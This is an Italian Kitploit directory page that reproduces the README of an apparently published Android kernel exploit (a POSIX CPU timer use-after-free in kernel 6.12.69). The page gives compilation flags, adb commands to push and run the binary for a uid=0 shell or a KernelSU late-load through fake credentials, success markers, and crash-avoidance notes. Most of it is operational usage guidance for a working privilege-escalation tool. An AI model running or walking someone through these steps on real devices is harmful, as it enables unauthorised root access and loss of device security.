Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-98260 — Exploit use-after-free del timer CPU POSIX del kernel Android per la versione 6.12.69 che ottiene una shell con uid=0 o il late-load di KernelSU tramite credenziali false. | Kitploit
Strumenti/GitHubGitHub/yukonga/cve-2026-98260
Sicurezza AndroidEscalation di PrivilegiMemory ForensicsExploitPost-ExploitSviluppo PayloadBinary Exploitation
GitHubyukonga/cve-2026-98260

CVE-2026-98260

Exploit use-after-free del timer CPU POSIX del kernel Android per la versione 6.12.69 che ottiene una shell con uid=0 o il late-load di KernelSU tramite credenziali false.

Vedi Repository
45118 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-98260 Timer LPE

Porting di CVE-2026-98260 POSIX CPU timer UAF per 6.12.69-android16-6-g242e1a07f878

Due catene:

  • timer: scrittura zero su cred reali → uid=0, u:r:shell:s0 (root nel dominio shell, bset caps)
  • timer fake: cred fake (full caps) → late-load di libksud.so della versione installata di KernelSU

Stato

PercorsoRisultato
cred reali scrittura zero + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
cred fake + ksud late-loadlibksud.so della versione installata (uapi 6), KSU_LOADED, su come u:r:ksu:s0

Ambiente

  • Identità di avvio: adb/shell (uid 2000, u:r:shell:s0), può leggere tracefs e /proc/slabinfo
  • Se il manager KernelSU è installato (me.weishu.kernelsu), fake utilizzerà automaticamente il suo lib/arm64/libksud.so

Compilazione

NDK 28.2 (aarch64, API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Utilizzo

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnostica
adb shell /data/local/tmp/timer ids     # rileva l'event id della pagina tracefs
adb shell /data/local/tmp/timer leak    # esegue solo la fuga di base/cred/task, senza attivare la UAF

# shell uid-0 (cred reali)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh interattiva

# KernelSU (fake cred + ksud installato)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log

Indicatore di successo di fake:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Sicurezza

  • Uno state in errore parcheggia e mantiene lo zombie; non terminarlo, il riavvio è l'unica pulizia sicura
  • Dopo il successo di fake, anche il processo padre viene parcheggiato, mantenendo la pagina fake cred tramite socket
  • Dopo aver attivato la UAF, non usare timeout/kill sui processi parcheggiati, altrimenti il recupero del nodo stale da parte di init può causare un panic
  • Dopo un riavvio hardware il root ksu scompare; simulare un soft reboot con KernelSU non fa scomparire il root ksu

Directory

timer/timer.c      exploit
timer/timer        artefatto statico
tools/*.c          sorgenti diagnostici di porting

Obiettivi e porting

Le costanti chiave sono codificate in timer/timer.c: i siti do_timer_create/copy_process, selinux_state, panic_on_warn, la dimensione della task cache di copy_process, i simboli init_*

Quando si cambia kernel, rieseguire la derivazione usando boot.img/BTF/kallsyms del dispositivo; i file in tools/ servono per verificare call site, raw record, timer leak e il canale di recupero AF_UNIX da 8 KiB

Riferimenti

  • woshigenm/CVE-2026-98260 (MIT): trigger, zero-write su real-cred, idee fake cred/KSU
  • ghostlock-app: fase finale del late-load di KernelSU
  • Altri progetti di porting di CVE-2026-98260: recupero order-1 e tempistica del trigger
Scarica lo strumento